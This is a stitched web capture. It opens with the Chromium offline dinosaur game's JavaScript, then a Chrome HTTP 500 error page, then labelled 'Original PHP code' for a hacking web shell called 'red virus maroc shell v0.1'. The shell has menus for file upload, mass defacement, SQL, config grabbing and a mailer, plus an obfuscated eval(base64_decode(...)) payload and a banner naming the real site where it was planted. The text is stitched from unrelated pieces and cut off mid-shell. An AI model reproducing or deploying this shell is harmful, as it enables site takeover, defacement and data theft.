    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
        yPos: 90,
        multipleSpeed: 7,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 12, 7, 38),
          new CollisionBox(8, 0, 7, 49),
          new CollisionBox(13, 10, 10, 38),
        ],
      },
      {
        type: 'PTERODACTYL',
        width: 46,
        height: 40,
        yPos: [100, 75, 50],    // Variable height.
        yPosMobile: [100, 50],  // Variable height mobile.
        multipleSpeed: 999,
        minSpeed: 8.5,
        minGap: 150,
        collisionBoxes: [
          new CollisionBox(15, 15, 16, 5),
          new CollisionBox(18, 21, 24, 6),
          new CollisionBox(2, 14, 4, 3),
          new CollisionBox(6, 10, 4, 7),
          new CollisionBox(10, 8, 6, 9),
        ],
        numFrames: 2,
        frameRate: 1000 / 6,
        speedOffset: .8,
      },
    ],
    BACKGROUND_EL: {
      'CLOUD': {
        HEIGHT: 14,
        MAX_CLOUD_GAP: 400,
        MAX_SKY_LEVEL: 30,
        MIN_CLOUD_GAP: 100,
        MIN_SKY_LEVEL: 71,
        OFFSET: 4,
        WIDTH: 46,
        X_POS: 1,
        Y_POS: 120,
      },
    },
    BACKGROUND_EL_CONFIG: {
      MAX_BG_ELS: 1,
      MAX_GAP: 400,
      MIN_GAP: 100,
      POS: 0,
      SPEED: 0.5,
      Y_POS: 125,
    },
    LINES: [
      {SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
    ],
  },
};
</script>
  
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</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/mrk___802.phtml"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/mrk___802.phtml","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<div id='alert'>Safe Mode : off </div><div id='alert'>you ip : 197.1.68.186 Server IP : 107.180.39.228<br> shell : http://www.ensemblestrategies.com/userfiles/cms_documents/portfolio/mrk___802.phtml <br> shell name : mrk___802.phtml </center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>



<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<?php eval(base64_decode("aWYoJHNhZmVtb2RlPT0iT24iKQp7CiAgICBlY2hvICJTYWZlIE1vZGUgOiBPTiI7Cn0KZWxzZQp7
CiAgICBlY2hvICI8ZGl2IGlkPSdhbGVydCc+U2FmZSBNb2RlIDogb2ZmIDwvZGl2PiI7Cn0KJHlv
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IE1hZyFjIWFuIC0gVGhhIFggSGF4T3IgLSBUaGEgUmVEdmlydXMgTWEgLSBUaGEgSW5kZXhEb3RI
VE1M")); ?>
</center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>
<?
////////////////////////////////// about /////////////////////////////////////
if ($_GET['tha'] == 'about') {
?>
<center>
<font size='5' color='red' bgcolor="green">
red virus maroc shell v0.1
</font><br><br>
